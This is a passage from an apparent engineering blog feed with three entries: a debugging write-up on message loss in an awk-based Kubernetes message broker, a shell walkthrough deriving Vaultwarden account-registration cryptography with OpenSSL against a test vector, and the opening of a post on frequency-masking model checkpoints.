&lt;p&gt;Second hypothesis: a race in the container lifecycle. The framer container’s command is &lt;code&gt;gawk -f &#x2F;svc&#x2F;framer.awk &#x2F;pipes&#x2F;raw&lt;&#x2F;code&gt;. gawk reads the FIFO as an input file. When the last writer of the FIFO closes (the ingress.awk gawk handling step 1’s connection terminating with the TCP close), framer reads EOF and exits. kubelet observes the container terminated with exit 0 and restarts it. The same applies to durability and router downstream.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;kubectl describe pod&lt;&#x2F;code&gt; showed it directly:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Restart Count:  0   # init-pipes
Restart Count:  0   # internal-ingress
Restart Count:  1   # framer
Restart Count:  1   # durability
Restart Count:  1   # router
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A cascading restart of the three awk-based containers happened between step 1 and step 2. Step 2’s TCP connection landed in the restart window. The new ingress.awk process forked by socat tried to open &lt;code&gt;&#x2F;pipes&#x2F;raw&lt;&#x2F;code&gt; for write. No reader on the other side. The open blocked. socat client-side timed out at 500 ms (the closewait default), tore down the connection and the in-flight 30 messages went with it.&lt;&#x2F;p&gt;
&lt;p&gt;The 504 ms duration_ms field in the artifact was the smoking gun, in retrospect. Not the time to send 30 messages. The time socat client took to give up.&lt;&#x2F;p&gt;
&lt;p&gt;A different failure than scenario 3, pointing to the same architectural gap. This iteration of KMQ treats each TCP connection as an independent session with no continuity guarantee. Scenario 3 demonstrated loss at the ingress under load. Scenario 4 demonstrated loss at the ingress under restarts. Two different load profiles, same boundary, same gap.&lt;&#x2F;p&gt;
&lt;p&gt;The fix is the same in both cases. A broker wanting delivery semantics needs producer-side acks with retry from the last persisted offset. The producer holds outstanding messages until an ack arrives. The broker assigns a seq, persists, acks. On restart or boundary loss, the producer retries from the last unacked seq. This is the at-least-once delivery contract Kafka, Pub&#x2F;Sub and AMQP all implement.&lt;&#x2F;p&gt;
&lt;p&gt;This iteration has the substrate (the append log, the seq numbering, the persistent file). It does not have the protocol. The next post lives where that protocol lives.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-the-scenarios-show-taken-together&quot;&gt;What the scenarios show, taken together&lt;&#x2F;h3&gt;
&lt;p&gt;The two passes are clean. Sequence resume works because the append log is content-addressable by seq and reading it on startup is mechanical. Routing works because awk’s &lt;code&gt;~&lt;&#x2F;code&gt; operator and a five-line if&#x2F;elseif ladder are exactly the right primitive for prefix dispatch.&lt;&#x2F;p&gt;
&lt;p&gt;The two failures are the structural part of this writeup. Both hit the same boundary from different angles. The first under load: a paused consumer plus a 20 000-message burst exposed that the ingress does not propagate FIFO blocks back to TCP senders. The second under restarts: a container lifecycle event in the awk pipeline opened a 500 ms window where new connections cannot complete and any in-flight messages in that window are lost.&lt;&#x2F;p&gt;
&lt;p&gt;Two paths to the same gap is more useful than one. The boundary is not a coincidence of one specific test setup. The boundary is the architecture. The fix is not a tweak to ingress.awk or a buffer size adjustment. The fix is a delivery protocol with acks.&lt;&#x2F;p&gt;
&lt;p&gt;This is the point where vague analogies stop being good enough. Reciting the at-least-once guarantee from documentation is not equivalent to reproducing its absence in a working system, twice, under measurably different conditions, with the size of the gap stated in concrete numbers. 54% loss under burst. 100% loss under restart race.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-this-is-and-what-this-is-not&quot;&gt;What this is and what this is not&lt;&#x2F;h3&gt;
&lt;p&gt;KMQ is not a production broker and will not become one. Real production brokers exist, written by people who have spent years inside the consequences of these decisions. KMQ is not competing with them.&lt;&#x2F;p&gt;
&lt;p&gt;KMQ is an instrument. The kind of system built to expose what an understanding of a topic is actually made of. The patterns in event-driven systems are presented in documentation and books as nouns: backpressure, durability, ordering, delivery semantics. Building one of these systems from primitives turns them into verbs. Backpressure is what kernel pipe writes do. Durability is what &lt;code&gt;print &amp;gt;&amp;gt; logfile; close(logfile)&lt;&#x2F;code&gt; does on a hostPath volume. Ordering is what a single-writer append log produces by construction. Delivery semantics is what does not come for free.&lt;&#x2F;p&gt;
&lt;p&gt;The artifacts on disk are not benchmarks. Not throughput numbers. Four files in a results directory, two PASS, two FAIL, all four reproducible from a clean cluster in about thirty minutes. The failures arrive with measured boundaries and a clear architectural diagnosis.&lt;&#x2F;p&gt;
&lt;p&gt;A working production broker handles every one of these patterns and many more. KMQ does not compete with that. KMQ is the version where the simple primitive’s failure point is exact and visible.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-is-queued&quot;&gt;What is queued&lt;&#x2F;h3&gt;
&lt;p&gt;A next post with producer acks and replay-from-offset semantics. The substrate exists. The protocol does not.&lt;&#x2F;p&gt;
&lt;p&gt;A daemon-shaped pipeline where the awk processes do not exit on EOF. Either by wrapping each in a &lt;code&gt;while true; do gawk ...; done&lt;&#x2F;code&gt; loop in the container command or by restructuring the FIFOs so no close cascades through the chain. Both are small changes. Both eliminate the 500 ms restart race in scenario 4.&lt;&#x2F;p&gt;
&lt;p&gt;A backpressure protocol at the TCP boundary. socat-fork-exec is the wrong primitive. A custom ingress holding the connection while the FIFO blocks, signaling the client with TCP zero-window or with an application-level NACK, would close the gap measured in scenario 3.&lt;&#x2F;p&gt;
&lt;p&gt;None of those are weekend projects. This iteration was. It produced four data points and a diagnosis of where the system stops being trustworthy.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The canonical encoded request to register a Vaultwarden root account</title>
        <published>2026-04-25T00:00:00+00:00</published>
        <updated>2026-04-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/canonical-request-vaultwarden-root-account/"/>
        <id>https://lf3.gitlab.io/blog/canonical-request-vaultwarden-root-account/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/canonical-request-vaultwarden-root-account/">&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;What goes in the body payload when zero-knowledge protocol design rules out
long-lived plaintext passwords.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;An HTTP POST with a JSON body, a 200 response, the master root account
created. The body itself is the engineering exercise: three of its seven
fields are cryptographic material the client has to derive locally before
the first network call, because the server is never trusted with anything
decryptable. This post reconstructs that derivation against a published
test vector, in pure shell, in a form a CD pipeline can run unattended.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-the-server-receives&quot;&gt;What the server receives&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitwarden.com&#x2F;help&#x2F;bitwarden-security-white-paper&#x2F;&quot;&gt;Bitwarden is zero-knowledge by design&lt;&#x2F;a&gt;.
The server never sees the master password, never sees the vault keys. What
it stores is material the client derived locally. The endpoint for this is
&lt;code&gt;POST &#x2F;identity&#x2F;accounts&#x2F;register&lt;&#x2F;code&gt; -note &lt;code&gt;identity&lt;&#x2F;code&gt;, not &lt;code&gt;api&lt;&#x2F;code&gt;. A large
number of posts and forum threads from 2021 still indexed by search engines
point to &lt;code&gt;&#x2F;api&#x2F;accounts&#x2F;register&lt;&#x2F;code&gt;, which returns 404 on Vaultwarden 1.35.7.
Bitwarden moved the endpoint during a 2022 client restructuring. A 404 on
registration is not a payload problem.&lt;&#x2F;p&gt;
&lt;p&gt;The registration payload has seven fields. Five are trivial. Three are not:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;masterPasswordHash&lt;&#x2F;code&gt; -the authentication credential, derived from the
password via two rounds of PBKDF2. Not the password. Not a bcrypt hash
of the password. A PBKDF2 output used as input to a second PBKDF2.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;key&lt;&#x2F;code&gt; -a random 64-byte symmetric key, AES-CBC encrypted and
HMAC-authenticated, wrapped in a format Bitwarden calls a CipherString.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;keys.encryptedPrivateKey&lt;&#x2F;code&gt; -an RSA-2048 private key in PKCS#8 DER,
wrapped in the same format, using the random key above as the wrapping key.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Reproducing those three fields in shell is the problem.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-five-derivations&quot;&gt;The five derivations&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jcs&#x2F;rubywarden&#x2F;blob&#x2F;master&#x2F;API.md&quot;&gt;The rubywarden API notes publish a test vector&lt;&#x2F;a&gt;.
Every derivation below verifies against it before touching any server.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;password       = &amp;quot;p4ssw0rd&amp;quot;
email          = &amp;quot;nobody@example.com&amp;quot;
kdf_iterations = 5000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;1. masterPasswordHash&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc2898#section-5.2&quot;&gt;Two PBKDF2-HMAC-SHA256 calls in sequence&lt;&#x2F;a&gt;.
The first derives a 32-byte master key from &lt;code&gt;(password, email, iterations)&lt;&#x2F;code&gt;.
The second derives the authentication hash from &lt;code&gt;(master_key, password, 1)&lt;&#x2F;code&gt;.
The server applies its own 100 000 iterations on top before comparing -the
client’s PBKDF2 iteration count protects against offline attacks on the
transmitted hash; the server’s count protects the stored value. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitwarden.com&#x2F;help&#x2F;bitwarden-security-white-paper&#x2F;&quot;&gt;¹&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;MK=$(openssl kdf -keylen 32 \
    -kdfopt digest:SHA256 \
    -kdfopt pass:p4ssw0rd \
    -kdfopt salt:nobody@example.com \
    -kdfopt iter:5000 \
    PBKDF2 | tr -d &amp;#x27;:[:space:]&amp;#x27;)

openssl kdf -keylen 32 \
    -kdfopt digest:SHA256 \
    -kdfopt hexpass:$MK \
    -kdfopt salt:p4ssw0rd \
    -kdfopt iter:1 \
    PBKDF2 | tr -d &amp;#x27;:[:space:]&amp;#x27; | xxd -r -p | base64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Expected output: &lt;code&gt;r5CFRR+n9NQI8a525FY+0BPR0HGOjVJX0cR1KEMnIOo=&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;openssl kdf&lt;&#x2F;code&gt; requires OpenSSL 3.0 or later. The &lt;code&gt;hexpass:&lt;&#x2F;code&gt; option signals
that the password argument is hex-encoded bytes, not a literal string.
Without it, the second call hashes the ASCII characters of the hex string
-64 printable characters instead of 32 binary bytes- and the hash is wrong
in a way that is silent until login fails.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. encKey and macKey&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5869&quot;&gt;Two subkeys derived from the master key via HKDF-Expand with distinct info labels.&lt;&#x2F;a&gt;.
The same IKM with different labels produces cryptographically independent
outputs. Using the same key for both encryption and MAC would allow the MAC
to leak information about the ciphertext; separate derivation closes that.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ENCKEY=$(openssl kdf -keylen 32 \
    -kdfopt digest:SHA256 \
    -kdfopt mode:EXPAND_ONLY \
    -kdfopt hexkey:$MK \
    -kdfopt info:enc \
    HKDF | tr -d &amp;#x27;:[:space:]&amp;#x27;)

MACKEY=$(openssl kdf -keylen 32 \
    -kdfopt digest:SHA256 \
    -kdfopt mode:EXPAND_ONLY \
    -kdfopt hexkey:$MK \
    -kdfopt info:mac \
    HKDF | tr -d &amp;#x27;:[:space:]&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. CipherString&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bitwarden’s wire format for encrypted data:
&lt;code&gt;&quot;2.&quot; + base64(iv) + &quot;|&quot; + base64(ct) + &quot;|&quot; + base64(mac)&lt;&#x2F;code&gt;.
The &lt;code&gt;2.&lt;&#x2F;code&gt; prefix identifies the algorithm: AES-256-CBC + HMAC-SHA256.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eprint.iacr.org&#x2F;2000&#x2F;025&quot;&gt;The MAC is computed over &lt;code&gt;IV || ciphertext&lt;&#x2F;code&gt;, not over the plaintext.
That ordering -encrypt-then-MAC- is the only composition of symmetric
encryption and MAC that is generically secure against chosen-ciphertext
attacks&lt;&#x2F;a&gt;. MAC-then-encrypt is the
construction behind POODLE and Lucky13.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;IV=$(openssl rand -hex 16)

CT=$(printf &amp;#x27;%s&amp;#x27; &amp;quot;$PLAINTEXT_HEX&amp;quot; | xxd -r -p | \
    openssl enc -aes-256-cbc -K $ENCKEY -iv $IV | \
    xxd -p | tr -d &amp;#x27;\n&amp;#x27;)

MAC=$(printf &amp;#x27;%s%s&amp;#x27; &amp;quot;$IV&amp;quot; &amp;quot;$CT&amp;quot; | xxd -r -p | \
    openssl dgst -sha256 -mac HMAC -macopt hexkey:$MACKEY -binary | \
    xxd -p | tr -d &amp;#x27;\n&amp;#x27;)

b64() { base64 | tr -d &amp;#x27;\n&amp;#x27;; }

CS=&amp;quot;2.$(printf &amp;#x27;%s&amp;#x27; $IV | xxd -r -p | b64)|$(printf &amp;#x27;%s&amp;#x27; $CT | xxd -r -p | b64)|$(printf &amp;#x27;%s&amp;#x27; $MAC | xxd -r -p | b64)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;base64&lt;&#x2F;code&gt; on GNU coreutils wraps output at 76 characters by default. A
CipherString enclosing 64 bytes of payload has a 108-character base64 block
in the middle. Without &lt;code&gt;tr -d &#x27;\n&#x27;&lt;&#x2F;code&gt; that block carries a literal newline
into the JSON field, the server returns 422, and the error body says nothing
useful about where the problem is.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4. The generated symmetric key&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;64 random bytes. This is the user’s data encryption key -the DEK- that
encrypts every vault entry. It never travels in the clear. Before
registration it is wrapped in a CipherString using &lt;code&gt;encKey&lt;&#x2F;code&gt; and &lt;code&gt;macKey&lt;&#x2F;code&gt;
from step 2.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;GSK_HEX=$(openssl rand -hex 64)

# Shell variables cannot hold arbitrary binary safely.
# Write to a temp file and pass the path.
printf &amp;#x27;%s&amp;#x27; &amp;quot;$GSK_HEX&amp;quot; | xxd -r -p &amp;gt; &amp;quot;$TMPDIR&amp;#x2F;gsk.bin&amp;quot;

KEY_CS=$(bw_cipherstring_encrypt &amp;quot;$TMPDIR&amp;#x2F;gsk.bin&amp;quot; &amp;quot;$ENCKEY&amp;quot; &amp;quot;$MACKEY&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5. RSA-2048 keypair&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Required by the protocol regardless of whether the account ever shares
anything. When items are shared between users, the sender encrypts the
symmetric key of the shared collection with the recipient’s public key.
The server needs the public key at registration time.&lt;&#x2F;p&gt;
&lt;p&gt;The private key goes in PKCS#8 DER format, wrapped in a CipherString. The
wrapping key is the GSK split in half: first 32 bytes as the AES key, last
32 as the HMAC key.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 \
    -outform DER -out &amp;quot;$TMPDIR&amp;#x2F;priv.der&amp;quot;

PUBLIC_KEY=$(openssl pkey -inform DER -in &amp;quot;$TMPDIR&amp;#x2F;priv.der&amp;quot; \
    -pubout -outform DER | base64 | tr -d &amp;#x27;\n&amp;#x27;)

GSK_ENC=${GSK_HEX:0:64}
GSK_MAC=${GSK_HEX:64:64}

ENCRYPTED_PRIVATE_KEY=$(bw_cipherstring_encrypt \
    &amp;quot;$TMPDIR&amp;#x2F;priv.der&amp;quot; &amp;quot;$GSK_ENC&amp;quot; &amp;quot;$GSK_MAC&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The public key in base64 is consistently 392 characters for RSA-2048 in
SPKI DER. The encrypted private key lands around 1672 characters. Those
numbers are useful sanity checks: if they are off, something earlier in the
derivation chain is wrong.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-pattern-underneath&quot;&gt;The pattern underneath&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;kms&#x2F;latest&#x2F;developerguide&#x2F;concepts.html#enveloping&quot;&gt;What just happened is envelope encryption&lt;&#x2F;a&gt;.
The master password never leaves the client. From it a KEK is derived. The
KEK wraps the DEK -the GSK. The DEK encrypts the data. When the master
password changes, only the wrapped DEK is re-encrypted. The vault entries
are untouched. The same structure appears in AWS KMS, LUKS, SOPS+age, and
every serious key management system built in the last twenty years.&lt;&#x2F;p&gt;
&lt;p&gt;That last point matters operationally: password rotation is cheap. The vault
does not get re-encrypted. Only the CipherString that wraps the GSK changes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;provision-then-rotate&quot;&gt;Provision then rotate&lt;&#x2F;h2&gt;
&lt;p&gt;The master password used for registration is a bootstrap credential, not a
long-lived secret. The pattern is older than IaC and shows up everywhere
credentials need to enter a system that has none yet:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;cloud-init injects an initial password on first boot, then expires it.&lt;&#x2F;li&gt;
&lt;li&gt;kubeadm issues bootstrap tokens valid for 24 hours.&lt;&#x2F;li&gt;
&lt;li&gt;Terraform commonly generates admin passwords inside an apply, stores
them in a secrets manager, and rotates them in the same run.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For Vaultwarden the sequence is:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a strong password with &lt;code&gt;openssl rand -base64 32&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;POST to &lt;code&gt;&#x2F;identity&#x2F;accounts&#x2F;register&lt;&#x2F;code&gt; with the derived material.&lt;&#x2F;li&gt;
&lt;li&gt;POST to &lt;code&gt;&#x2F;identity&#x2F;connect&#x2F;token&lt;&#x2F;code&gt; to obtain an access token.&lt;&#x2F;li&gt;
&lt;li&gt;POST to &lt;code&gt;&#x2F;api&#x2F;accounts&#x2F;api-key&lt;&#x2F;code&gt; to obtain a personal API key.&lt;&#x2F;li&gt;
&lt;li&gt;Store the API key (&lt;code&gt;client_id&lt;&#x2F;code&gt; + &lt;code&gt;client_secret&lt;&#x2F;code&gt;) in an encrypted
secrets store.&lt;&#x2F;li&gt;
&lt;li&gt;Rotate the master password via &lt;code&gt;POST &#x2F;api&#x2F;accounts&#x2F;password&lt;&#x2F;code&gt;,
replacing the wrapped DEK with a fresh KEK derivation. Vault entries
are not re-encrypted, only the wrapper changes.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Steps 1 to 5 happen inside a single pipeline run. Step 6 closes it. A
bootstrap password that appeared in a GitHub Actions log, a shell history
file, or a pipeline variable is already exposed -rotation is what makes
that exposure bounded. The window ends when step 6 completes, not when
the operator remembers to act.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-regression-test&quot;&gt;The regression test&lt;&#x2F;h2&gt;
&lt;p&gt;The rubywarden vector is a fixed point. Given those three inputs, the
&lt;code&gt;masterPasswordHash&lt;&#x2F;code&gt; output is deterministic. If anything in the derivation
chain changes, the hash changes.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bash vaultwarden&amp;#x2F;tests&amp;#x2F;test-vectors.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;ts=2026-04-25T04:38:37.430Z host=workstation service=test-vectors section=setup event=start
ts=2026-04-25T04:38:37.446Z host=workstation service=test-vectors section=test_master_key event=pass name=master_key_matches_vector
ts=2026-04-25T04:38:37.454Z host=workstation service=test-vectors section=test_master_password_hash event=pass name=mph_matches_vector
ts=2026-04-25T04:38:37.508Z host=workstation service=test-vectors section=test_cipherstring_roundtrip event=pass name=mac_verifies
ts=2026-04-25T04:38:37.514Z host=workstation service=test-vectors section=test_cipherstring_roundtrip event=pass name=plaintext_recovered
ts=2026-04-25T04:38:37.521Z host=workstation service=test-vectors section=test_gsk event=pass name=gsk_128_hex_chars len=128
ts=2026-04-25T04:38:37.522Z host=workstation service=test-vectors section=summary event=summary total=8 passed=8 failed=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Eight assertions, 92 milliseconds.
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wererootops&#x2F;zero-touch-trust-none&#x2F;blob&#x2F;main&#x2F;vaultwarden&#x2F;tests&#x2F;test-vectors.sh&quot;&gt;Full test file&lt;&#x2F;a&gt;.
The test lives alongside the registration script. If an OpenSSL upgrade
changes &lt;code&gt;kdf&lt;&#x2F;code&gt; output behavior -it has happened- the test fails before any
server sees the payload.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;operational-notes&quot;&gt;Operational notes&lt;&#x2F;h2&gt;
&lt;p&gt;No shebang lines, no execute bit. Every script in the repo is invoked as
&lt;code&gt;bash register.sh&lt;&#x2F;code&gt; or sourced with &lt;code&gt;. lib&#x2F;bitwarden-crypto.sh&lt;&#x2F;code&gt;. The
interpreter is explicit at the call site, not encoded in the file. This
eliminates the &lt;code&gt;#!&#x2F;usr&#x2F;bin&#x2F;env bash&lt;&#x2F;code&gt; portability question across Alpine,
Arch, and whatever the CI runner image happens to be.&lt;&#x2F;p&gt;
&lt;p&gt;The master password enters via stdin only. Never argv -it appears in &lt;code&gt;ps&lt;&#x2F;code&gt;
and in &lt;code&gt;&#x2F;proc&#x2F;$PID&#x2F;cmdline&lt;&#x2F;code&gt; for the process lifetime. Never an environment
variable -readable from &lt;code&gt;&#x2F;proc&#x2F;$PID&#x2F;environ&lt;&#x2F;code&gt; by any process running as the
same UID. &lt;code&gt;IFS= read -r&lt;&#x2F;code&gt; on a pipe, &lt;code&gt;read -rs&lt;&#x2F;code&gt; on a TTY.&lt;&#x2F;p&gt;
&lt;p&gt;Exit codes are differentiated: 1 for input errors, 2 for network, 3 for
server rejection, 4 for internal failures. A CD pipeline can distinguish
between “the bastion is unreachable” and “the binary you just built returns
an unexpected status from the registration endpoint.”&lt;&#x2F;p&gt;
&lt;p&gt;The full registration script, the crypto library, and the test suite are at
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wererootops&#x2F;zero-touch-trust-none&#x2F;tree&#x2F;main&#x2F;vaultwarden#readme&quot;&gt;wererootops&#x2F;zero-touch-trust-none&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Detecting Checkpoint Anomalies via Frequency Masking</title>
        <published>2026-03-09T00:00:00+00:00</published>
        <updated>2026-03-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/frequency-masking-checkpoints/"/>
        <id>https://lf3.gitlab.io/blog/frequency-masking-checkpoints/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/frequency-masking-checkpoints/">&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;frequency-masking-on-model-checkpoints&quot;&gt;Frequency Masking on Model Checkpoints&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a href=&quot;&#x2F;blog&#x2F;binary-string-mask&#x2F;&quot;&gt;previous post&lt;&#x2F;a&gt; applied frequency masks to compiled binaries. Given a corpus of known-good versions of the same binary, the method builds a mask of invariant byte patterns and measures how much of that structure a target binary still covers. The experiment used nine versions of Alpine’s &lt;code&gt;apk&lt;&#x2F;code&gt; binary. The separation between the known-good corpus and a major version rewrite was clean and required no source, no signature and no prior knowledge of the binary’s internals. The method itself was first developed in &lt;a href=&quot;&#x2F;blog&#x2F;i-like-lists&#x2F;&quot;&gt;Me gustan las listas&lt;&#x2F;a&gt;, where frequency masks were applied to plain text corpora to remove boilerplate from hundreds of w3m dumps.&lt;&#x2F;p&gt;
&lt;p&gt;A trained model checkpoint is a binary. It has a version history. That history has statistical structure.&lt;&#x2F;p&gt;
&lt;p&gt;The question is the same.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-corpus&quot;&gt;The corpus&lt;&#x2F;h2&gt;
&lt;p&gt;EleutherAI’s Pythia-14m has something most models do not: public checkpoints from multiple points during training. Not the final model and a fine-tuned variant. The full pretraining process captured at discrete steps.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;BASE_URL=&amp;quot;https:&amp;#x2F;&amp;#x2F;huggingface.co&amp;#x2F;EleutherAI&amp;#x2F;pythia-14m&amp;#x2F;resolve&amp;quot;
CORPUS_STEPS=&amp;quot;1000 4000 16000 32000 64000 128000&amp;quot;

for step in $CORPUS_STEPS 143000; do
    wget -q --show-progress \
        -O &amp;quot;checkpoints&amp;#x2F;step${step}.safetensors&amp;quot; \
        &amp;quot;${BASE_URL}&amp;#x2F;step${step}&amp;#x2F;model.safetensors&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Seven files. 26.84 MB each. The corpus is the first six steps. step143000 is the test target: the same model at the end of pretraining.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;two-substrates&quot;&gt;Two substrates&lt;&#x2F;h2&gt;
&lt;p&gt;A safetensors file has two regions with distinct properties.&lt;&#x2F;p&gt;
&lt;p&gt;The first is the JSON header: layer names, data types, offsets, architecture metadata. Printable bytes. The same &lt;code&gt;tr -cd &#x27;\040-\176&#x27;&lt;&#x2F;code&gt; pipeline from the previous post works directly.&lt;&#x2F;p&gt;
&lt;p&gt;The second is the actual weights: packed float32 values. Not text. Applying the same method requires representing them as a hex sequence.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# substrate 1: printable bytes from the header
tr -cd &amp;#x27;\040-\176&amp;#x27; &amp;lt; checkpoints&amp;#x2F;step1000.safetensors &amp;gt; printable&amp;#x2F;step1000.txt

# substrate 2: 2MB of weights from the center of the file, represented as hex
file_size=$(wc -c &amp;lt; checkpoints&amp;#x2F;step1000.safetensors)
skip=$(( (file_size &amp;#x2F; 2) - 1000000 ))
dd if=checkpoints&amp;#x2F;step1000.safetensors bs=1 skip=&amp;quot;$skip&amp;quot; count=2000000 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null \
    | xxd -p -c 16 \
    &amp;gt; hexbytes&amp;#x2F;step1000.hex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;-c 16&lt;&#x2F;code&gt; flag on &lt;code&gt;xxd&lt;&#x2F;code&gt; writes 16 bytes per line as 32 hex characters. A one-byte-per-line output would give 2-character lines. With grain=4, no n-gram would ever be generated. With 32-character lines, the sliding window works as expected.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-mask&quot;&gt;The mask&lt;&#x2F;h2&gt;
&lt;p&gt;The same AWK from the previous post. The key distinction holds: count by distinct file, not by total occurrences. A pattern that appears a thousand times inside a single checkpoint contributes 1 to the frequency count. A pattern that appears in five of six checkpoints contributes 5.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# mask over printable bytes (grain=6, step=2, threshold=0.75)
awk -v grain=6 -v step_size=2 -v threshold=0.75 \
    -f build_mask.awk \
    printable&amp;#x2F;step{1000,4000,16000,32000,64000,128000}.txt \
    &amp;gt; mask_printable.txt

# mask over hex bytes (grain=4, step=1, threshold=0.75)
awk -v grain=4 -v step_size=1 -v threshold=0.75 \
    -f build_mask.awk \
    hexbytes&amp;#x2F;step{1000,4000,16000,32000,64000,128000}.hex \
    &amp;gt; mask_hex.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;mask_printable:   893 n-grams
mask_hex:       51721 n-grams
